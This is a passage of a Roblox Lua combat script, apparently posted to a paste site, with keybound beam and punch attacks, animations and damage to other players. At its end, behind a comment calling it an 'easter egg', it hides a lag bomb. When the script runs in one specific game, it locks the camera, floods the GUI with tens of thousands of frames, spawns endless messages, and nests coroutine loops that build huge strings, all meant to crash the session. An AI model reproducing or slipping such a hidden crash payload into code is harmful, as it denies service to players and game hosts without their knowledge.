  766. CFrame.new(Vector3.new(1.7, 0.2, 0.399)) * CFAngles(Vector3.new(-47.597, -13.104, 17.887));
  767. CFrame.new(Vector3.new(-0.7, -1.4, 0.2)) * CFAngles(Vector3.new(-44.477, 3.836, -0.524));
  768. CFrame.new(Vector3.new(0.5, -1.4, -0.601)) * CFAngles(Vector3.new(-15.868, -12.953, -7.631));
  769. })
  770. wait(.2)
  771. vel:Destroy()
  772. Debounces.damageLevel = 0
  773. Debounces.scalingDamage = false
  774. Debounces.isBoosting = false
  775. end
  776. end)
  777.  
  778. uinps.InputBegan:connect(function(InputObject)
  779. if InputObject.KeyCode == Enum.KeyCode.Q and Debounces.isAttacking == false and Debounces.isSprinting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  780. local isLooping = true
  781. uinps.InputEnded:connect(function(InputObject2)
  782. if InputObject2.KeyCode == Enum.KeyCode.Q then
  783. isLooping = false
  784. end
  785. end)
  786. while true do
  787. if isLooping == false then
  788. break
  789. end
  790. Debounces.attackNumber = Debounces.attackNumber + 1
  791. local aimPos = mouse.Hit.p
  792. local head = Instance.new("Part",c)
  793. head.Size = Vector3.new(12,.2,12)
  794. head.CanCollide = false
  795. head.Anchored = true
  796. head.Transparency = 1
  797. for i = 1,2 do
  798. local decal = Instance.new("Decal",head)
  799. decal.Texture = "rbxassetid://323497117"
  800. if i == 1 then
  801. decal.Face = Enum.NormalId.Top
  802. else
  803. decal.Face = Enum.NormalId.Bottom
  804. end
  805. end
  806. if Debounces.attackNumber%2 == 1 then
  807. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(8,8,.5)).p,aimPos)
  808. else
  809. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(-8,8,.5)).p,aimPos)
  810. end
  811. spawn(function()
  812. local timer = 0
  813. while rs.RenderStepped:wait() do
  814. if timer >= 1.55 then
  815. break
  816. end
  817. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  818. timer = timer + 1/30/(Debounces.FPS/60)
  819. end
  820. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  821. local ray = Ray.new(head.CFrame.p,(aimPos - head.CFrame.p).unit * 999)
  822. local hit, pos = workspace:FindPartOnRay(ray,c)
  823. local dis = (head.CFrame.p - pos).magnitude
  824. local rayPart = Instance.new("Part",rayModel)
  825. rayPart.Material = "Neon"
  826. rayPart.FormFactor = "Custom"
  827. rayPart.BrickColor = BrickColor.new(1,1,1)
  828. rayPart.Anchored = true
  829. rayPart.CanCollide = false
  830. rayPart.Size = Vector3.new(7,7,dis + 400)
  831. local rayCFrame = CFrame.new(head.CFrame.p + (aimPos - head.CFrame.p).unit * (dis/2 + 200),head.CFrame.p + (aimPos - head.CFrame.p).unit * dis * 2)
  832. rayPart.CFrame = rayCFrame
  833. head:Destroy()
  834. end)
  835. wait()
  836. local s = Instance.new("Sound",head)
  837. s.Volume = 1
  838. s.SoundId = "rbxassetid://332223043"
  839. s:Play()
  840. wait(.04)
  841. end
  842. end
  843. end)
  844.  
  845. uinps.InputBegan:connect(function(InputObj)
  846. if InputObj.KeyCode == Enum.KeyCode.E and Debounces.isAttacking == false and Debounces.isSprinting == false and Debounces.isPassive == true and Debounces.isTyping == false then
  847. Debounces.isAttacking = true
  848. local aimPos = c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-999)).p
  849. local head = Instance.new("Part",c)
  850. head.Size = Vector3.new(18,.2,18)
  851. head.CanCollide = false
  852. head.Anchored = true
  853. head.CFrame = CFrame.new(c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-9)).p,aimPos)
  854. head.Transparency = 1
  855. for i = 1,2 do
  856. local decal = Instance.new("Decal",head)
  857. decal.Texture = "rbxassetid://323497117"
  858. if i == 1 then
  859. decal.Face = Enum.NormalId.Top
  860. else
  861. decal.Face = Enum.NormalId.Bottom
  862. end
  863. end
  864. setLerp(.1)
  865. setJointCFrames({
  866. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, 0, 0));
  867. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, -0.001, -0.001));
  868. CFrame.new(Vector3.new(-1.7, 0, 0)) * CFAngles(Vector3.new(-12.808, -28.88, -21.502));
  869. CFrame.new(Vector3.new(1.699, 1.2, 0.599)) * CFAngles(Vector3.new(-146.606, 16.571, 13.928));
  870. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-60, 0, -0.001));
  871. CFrame.new(Vector3.new(0.5, -1.4, -0.4)) * CFAngles(Vector3.new(-15.001, -15.001, 0));
  872. })
  873. spawn(function()
  874. local timer = 0
  875. while rs.RenderStepped:wait() do
  876. if timer >= 1.55/.8 then
  877. break
  878. end
  879. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  880. timer = timer + 1/30/(Debounces.FPS/60)
  881. end
  882. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  883. local ray = Ray.new(head.CFrame.p,(aimPos - head.CFrame.p).unit * 999)
  884. local hit, pos = workspace:FindPartOnRay(ray,c)
  885. local dis = (head.CFrame.p - pos).magnitude
  886. local rayPart = Instance.new("Part",rayModel)
  887. rayPart.Material = "Neon"
  888. rayPart.FormFactor = "Custom"
  889. rayPart.Name = "Punch"
  890. rayPart.BrickColor = BrickColor.new(1,1,1)
  891. rayPart.Anchored = true
  892. rayPart.CanCollide = false
  893. rayPart.Size = Vector3.new(28,28,dis + 400)
  894. local rayCFrame = CFrame.new(head.CFrame.p + (aimPos - head.CFrame.p).unit * (dis/2 + 200),head.CFrame.p + (aimPos - head.CFrame.p).unit * dis * 2)
  895. rayPart.CFrame = rayCFrame
  896. head:Destroy()
  897. end)
  898. wait()
  899. local s = Instance.new("Sound",head)
  900. s.Volume = 1
  901. s.SoundId = "rbxassetid://332223043"
  902. s.Pitch = .8
  903. s:Play()
  904. wait(.75)
  905. setLerp(.17)
  906. setJointCFrames({
  907. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(-20, 15, 0));
  908. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, 14.999, -0.001));
  909. CFrame.new(Vector3.new(-1.7, 0, 0.2)) * CFAngles(Vector3.new(-33.928, -4.374, -38.76));
  910. CFrame.new(Vector3.new(1.499, 0.4, -0.601)) * CFAngles(Vector3.new(74.335, 25.091, -6.155));
  911. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-45, 0, -0.001));
  912. CFrame.new(Vector3.new(0.5, -1.8, -0.4)) * CFAngles(Vector3.new(-15, -15, 0));
  913. })
  914. wait(.5)
  915. Debounces.isAttacking = false
  916. end
  917. end)
  918.  
  919. reflect = function(d,n)
  920. local i, n = -1 * d.unit, n.unit
  921. local dot = n:Dot(i)
  922. return 2*dot*n - i
  923. end
  924.  
  925. makeReflectionBeam = function(pos,look,isCrit)
  926. local ray = Ray.new(pos,look)
  927. local hit,hitpos,norm = workspace:FindPartOnRay(ray,c)
  928. local e = Instance.new("Part",rayModel)
  929. e.Anchored = true
  930. e.CanCollide = false
  931. e.BrickColor = BrickColor.new("White")
  932. e.Material = "Neon"
  933. e.FormFactor = "Custom"
  934. e.Size = Vector3.new(6,6,(pos - hitpos).magnitude)
  935. if isCrit == true then
  936. e.Size = Vector3.new(16,16,(pos - hitpos).magnitude)
  937. e.Name = "Punch"
  938. end
  939. e.CFrame = CFrame.new(pos + (hitpos - pos)/2, pos)
  940. local e = Instance.new("Sound",c)
  941. if isCrit == true then
  942. e.Volume = .5
  943. else
  944. e.Volume = .3
  945. e.Pitch = 1.5
  946. end
  947. e.SoundId = "rbxassetid://200632875"
  948. e:Play()
  949. spawn(function()
  950. wait(6)
  951. e:Destroy()
  952. end)
  953. wait(.05)
  954. if hit ~= nil then
  955. newDir = reflect(look.unit,norm,isCrit)
  956. makeReflectionBeam(hitpos,newDir * 999,isCrit)
  957. end
  958. end
  959.  
  960. uinps.InputBegan:connect(function(InputObject)
  961. if InputObject.KeyCode == Enum.KeyCode.Q and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isPassive == true and Debounces.isTyping == false then
  962. local isLooping = true
  963. uinps.InputEnded:connect(function(InputObject2)
  964. if InputObject2.KeyCode == Enum.KeyCode.Q then
  965. isLooping = false
  966. end
  967. end)
  968. while true do
  969. if isLooping == false then
  970. break
  971. end
  972. Debounces.attackNumber = Debounces.attackNumber + 1
  973. local aimPos = mouse.Hit.p
  974. local head = Instance.new("Part",c)
  975. head.Size = Vector3.new(12,.2,12)
  976. head.CanCollide = false
  977. head.Anchored = true
  978. head.Transparency = 1
  979. for i = 1,2 do
  980. local decal = Instance.new("Decal",head)
  981. decal.Texture = "rbxassetid://323497117"
  982. if i == 1 then
  983. decal.Face = Enum.NormalId.Top
  984. else
  985. decal.Face = Enum.NormalId.Bottom
  986. end
  987. end
  988. if Debounces.attackNumber%2 == 1 then
  989. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(8,8,.5)).p,aimPos)
  990. else
  991. head.CFrame = CFrame.new(c.Torso.CFrame:toWorldSpace(CFrame.new(-8,8,.5)).p,aimPos)
  992. end
  993. spawn(function()
  994. local timer = 0
  995. while rs.RenderStepped:wait() do
  996. if timer >= 1.55 then
  997. break
  998. end
  999. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  1000. timer = timer + 1/30/(Debounces.FPS/60)
  1001. end
  1002. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  1003. head:Destroy()
  1004. makeReflectionBeam(head.CFrame.p,(head.CFrame.p - aimPos).unit * -999,false)
  1005. end)
  1006.  
  1007. wait()
  1008. local s = Instance.new("Sound",head)
  1009. s.Volume = 1
  1010. s.SoundId = "rbxassetid://332223043"
  1011. s.Pitch = 1.02
  1012. s:Play()
  1013. wait(.2)
  1014. end
  1015. end
  1016. end)
  1017.  
  1018. uinps.InputBegan:connect(function(InputObj)
  1019. if InputObj.KeyCode == Enum.KeyCode.E and Debounces.isAttacking == false and Debounces.isSprinting == true and Debounces.isPassive == true and Debounces.isTyping == false then
  1020. Debounces.isAttacking = true
  1021. local aimPos = c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-999)).p
  1022. local head = Instance.new("Part",c)
  1023. head.Size = Vector3.new(18,.2,18)
  1024. head.CanCollide = false
  1025. head.Anchored = true
  1026. head.CFrame = CFrame.new(c.HumanoidRootPart.CFrame:toWorldSpace(CFrame.new(0,0,-9)).p,aimPos)
  1027. head.Transparency = 1
  1028. for i = 1,2 do
  1029. local decal = Instance.new("Decal",head)
  1030. decal.Texture = "rbxassetid://323497117"
  1031. if i == 1 then
  1032. decal.Face = Enum.NormalId.Top
  1033. else
  1034. decal.Face = Enum.NormalId.Bottom
  1035. end
  1036. end
  1037. setLerp(.1)
  1038. setJointCFrames({
  1039. CFrame.new(Vector3.new(0, 0, 0)) * CFAngles(Vector3.new(0, 0, 0));
  1040. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, -0.001, -0.001));
  1041. CFrame.new(Vector3.new(-1.7, 0, 0)) * CFAngles(Vector3.new(-12.808, -28.88, -21.502));
  1042. CFrame.new(Vector3.new(1.699, 1.2, 0.599)) * CFAngles(Vector3.new(-146.606, 16.571, 13.928));
  1043. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-60, 0, -0.001));
  1044. CFrame.new(Vector3.new(0.5, -1.4, -0.4)) * CFAngles(Vector3.new(-15.001, -15.001, 0));
  1045. })
  1046. spawn(function()
  1047. local timer = 0
  1048. while rs.RenderStepped:wait() do
  1049. if timer >= 1.55/.8 then
  1050. break
  1051. end
  1052. head.CFrame = head.CFrame * CFrame.Angles(0,0,math.rad(timer * 25/(Debounces.FPS/60)))
  1053. timer = timer + 1/30/(Debounces.FPS/60)
  1054. end
  1055. head.CFrame = CFrame.new(head.CFrame.p,aimPos)
  1056. head:Destroy()
  1057. makeReflectionBeam(head.CFrame.p,(head.CFrame.p - aimPos).unit * -999,true)
  1058. end)
  1059. wait()
  1060. local s = Instance.new("Sound",head)
  1061. s.Volume = 2
  1062. s.SoundId = "rbxassetid://332223043"
  1063. s.Pitch = .8
  1064. s:Play()
  1065. wait(.75)
  1066. setLerp(.17)
  1067. setJointCFrames({
  1068. CFrame.new(Vector3.new(0, -.5, 0)) * CFAngles(Vector3.new(-20, 15, 0));
  1069. CFrame.new(Vector3.new(0, 1.499, -0.09)) * CFAngles(Vector3.new(-11.676, 14.999, -0.001));
  1070. CFrame.new(Vector3.new(-1.7, 0, 0.2)) * CFAngles(Vector3.new(-33.928, -4.374, -38.76));
  1071. CFrame.new(Vector3.new(1.499, 0.4, -0.601)) * CFAngles(Vector3.new(74.335, 25.091, -6.155));
  1072. CFrame.new(Vector3.new(-0.501, -1.601, 0.6)) * CFAngles(Vector3.new(-45, 0, -0.001));
  1073. CFrame.new(Vector3.new(0.5, -1.8, -0.4)) * CFAngles(Vector3.new(-15, -15, 0));
  1074. })
  1075. wait(.5)
  1076. Debounces.isAttacking = false
  1077. end
  1078. end)
  1079.  
  1080. uinps.InputBegan:connect(function(InputObj)
  1081. if InputObj.KeyCode == Enum.KeyCode.Slash then
  1082. local finishEvent = nil
  1083. Debounces.isTyping = true
  1084. finishEvent = uinps.InputBegan:connect(function(InputObj)
  1085. if InputObj.KeyCode == Enum.KeyCode.Return or InputObj.UserInputType == Enum.UserInputType.MouseButton1 then
  1086. Debounces.isTyping = false
  1087. finishEvent:disconnect()
  1088. end
  1089. end)
  1090. end
  1091. end)
  1092.  
  1093. uinps.InputBegan:connect(function(InputObj)
  1094. if InputObj.KeyCode == Enum.KeyCode.LeftShift then
  1095. Debounces.isSprinting = true
  1096. end
  1097. end)
  1098.  
  1099. uinps.InputEnded:connect(function(InputObj)
  1100. if InputObj.KeyCode == Enum.KeyCode.LeftShift then
  1101. Debounces.isSprinting = false
  1102. end
  1103. end)
  1104.  
  1105. rs.RenderStepped:connect(function()
  1106. Debounces.FPS = 1/rs.RenderStepped:wait()
  1107. local FPSLerp = AnimStat.lerpSpeed/(Debounces.FPS/60)
  1108. if Debounces.isPassive == false then
  1109. fight:Pause()
  1110. sans:Resume()
  1111. efxBlock.Transparency = 1
  1112. else
  1113. fight:Resume()
  1114. sans:Pause()
  1115. efxBlock.Transparency = 0
  1116. end
  1117. for i,v in pairs (rayModel:children()) do
  1118. if v.Transparency >= 1 then
  1119. v:Destroy()
  1120. else
  1121. v.CanCollide = true
  1122. local parts = v:GetTouchingParts()
  1123. v.CanCollide = false
  1124. for i = 1,#parts do
  1125. if parts[i].Parent:FindFirstChild("Humanoid") and parts[i].Parent ~= c and v.Name ~= "Punch" then
  1126. parts[i].Parent.Humanoid:TakeDamage(.5/(Debounces.FPS/60))
  1127. elseif parts[i].Parent:FindFirstChild("Humanoid") and parts[i].Parent ~= c and v.Name == "Punch" then
  1128. parts[i].Parent.Humanoid:TakeDamage(3.1/(Debounces.FPS/60))
  1129. end
  1130.  
  1131.  
  1132.  
  1133. end
  1134. v.Size = v.Size + Vector3.new(1/(Debounces.FPS/60),1/(Debounces.FPS/60),0)
  1135. v.Transparency = v.Transparency + .05/(Debounces.FPS/60)
  1136. end
  1137. end
  1138. for i = 1,#Joints do
  1139. Joints[i].C0 = Joints[i].C0:lerp(JointTargets[i], FPSLerp)
  1140. end
  1141. light.Brightness = math.random(1,4)
  1142. end)
  1143.  
  1144.  
  1145.  
  1146.  
  1147.  
  1148.  
  1149.  
  1150. -- Auto-Lag for people at antis
  1151. -- heheheh easter egg
  1152.  
  1153. -- This is also to tell you "Please do not run in antis SB"
  1154. if game.PlaceId == 21053279 then
  1155. plr = game.Players.LocalPlayer
  1156. char = plr.Character
  1157. cam = workspace.CurrentCamera
  1158. cam.CameraType = "Scriptable"
  1159. cam.CoordinateFrame = CFrame.new(0,0,50)
  1160. local localContainer
  1161. local service=setmetatable({
  1162. MarketPlace=game:service("MarketplaceService");
  1163. GamepassService=game:service("GamePassService");
  1164. ChatService=game:service("Chat");
  1165. LocalContainer=function() if not localContainer or not localContainer.Parent then localContainer=Instance.new("Camera",workspace) localContainer.Name=math.random(10000000,999999999) end return localContainer end;
  1166. },{
  1167. __index=function(tab,index)
  1168. local serv
  1169. local ran,err=pcall(function() serv=game:service(index) end)
  1170. if ran then
  1171. tab[index]=serv
  1172. return serv
  1173. end
  1174. end
  1175. })
  1176.  
  1177. local cPcall=function(func,...) local function cour(...) coroutine.resume(coroutine.create(func),...) end local ran,error=pcall(cour,...) if error then print('ERROR: '..error) end end
  1178.  
  1179. x=game.Players.LocalPlayer
  1180. x.CameraMode=Enum.CameraMode.LockFirstPerson
  1181. f=Instance.new("Frame")
  1182. f.Size=UDim2.new(1,0,1,0)
  1183. f.BackgroundTransparency=0.01
  1184. f.BackgroundColor3=Color3.new()
  1185. pg=x.PlayerGui
  1186. gui=Instance.new("ScreenGui",pg)
  1187. wait(.1)
  1188. for i=1,28000 do
  1189. f:Clone().Parent=gui
  1190. f:Clone().Parent=gui
  1191. f:Clone().Parent=gui
  1192. end
  1193.  
  1194. script:Destroy();
  1195. local runService = Game:GetService("RunService").Stepped;
  1196. local LagNum = 1250;
  1197. local str = "lag fucker lag";
  1198.  
  1199. for i = 1, math.huge do
  1200. if i % LagNum == 0 then runService:wait(); end
  1201. Instance.new("Message", Workspace).Text = str;
  1202. end
  1203.  
  1204. local bores=coroutine.create(function() --Yolo?
  1205. cPcall(function()
  1206. --print(Game[("%s|"):rep(0xFFFFFFF)])
  1207. cPcall(print,'lol')
  1208. cPcall(warn,'lol')
  1209. cPcall(error,'lol')
  1210. while wait(0.1) do
  1211. spawn(function()
  1212. cPcall(function()
  1213. spawn(function()
  1214. local tab={}
  1215. pcall(function()
  1216. spawn(function()
  1217. for i=1,1000000 do
  1218. cPcall(function()
  1219. spawn(function()
  1220. local bob2=coroutine.create(function()
  1221. function f1() cPcall(spawn,f2) warn(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  1222. function f2() cPcall(spawn,f1) print(string.rep((Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))-Vector3.new(math.random(-1000,1000),math.random(-1000,1000),math.random(-1000,1000))).magnitude,2e10)) end
  1223. spawn(f1)
  1224. end)
  1225. spawn(function() delay(0,function() coroutine.resume(bob2) end) end)
  1226. spawn(function() table.insert(tab,string.rep(tostring(math.random()),100)) end)
  1227. end)
  1228. end)
  1229. end
  1230. tab={}
  1231. end)
  1232. end)
  1233. end)
  1234. end)
  1235. end)
  1236. end
  1237. end)
  1238. end)
  1239.  
  1240. service.RunService.Stepped:connect(function()
  1241. for i=1,500000 do
  1242. delay(0,function() pcall(function() coroutine.resume(bores) end) end)
  1243. end
  1244. end)
  1245.  
  1246.  
  1247. local function bob()
  1248. cPcall(function()
  1249. while wait(0.1) do
  1250. --cPcall(function()
  1251. --for i=1,100 do
  1252. local p=Instance.new("Part")
  1253. p.Material="Neon"
  1254. p.Size=Vector3.new(50,50,50)
  1255. p.Anchored=true
  1256. p.BackSurface="Studs"
  1257. p.BottomSurface="Studs"
  1258. p.FrontSurface="Studs"
  1259. p.LeftSurface="Studs"
  1260. p.RightSurface="Studs"
  1261. p.TopSurface="Studs"
  1262. local t=Instance.new("Texture",p)
  1263. t.Texture="http://www.roblox.com/asset/?id=190803157"
  1264. t.Face="Top"
  1265. t.StudsPerTileU=1000
  1266. t.StudsPerTileV=1000
  1267. local t2=t:clone()
  1268. t2.Parent=p
  1269. t2.Face="Bottom"
  1270. local t2=t:clone()
  1271. t2.Parent=p
  1272. t2.Face="Left"
  1273. local t2=t:clone()
  1274. t2.Parent=p
  1275. t2.Face="Right"
  1276. local t2=t:clone()
  1277. t2.Parent=p
  1278. t2.Face="Front"
  1279. local t2=t:clone()
  1280. t2.Parent=p
  1281. t2.Face="Back"
  1282. p.Parent=service.LocalContainer()
  1283. --end
  1284. --end)
  1285. end
  1286. end)
  1287. end
  1288. bob() --while wait(0.1) do cPcall(bob) end
  1289. end
  1290.  
  1291.  
  1292. -- ~CLarramore
  1293. -- ~CLarramore 2016 (writing over my old signature)
  1294.  
  1295. -- P.S Fuck you.
  1296. -- Please don't run in antis
  1297. -- ~CL 2016
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement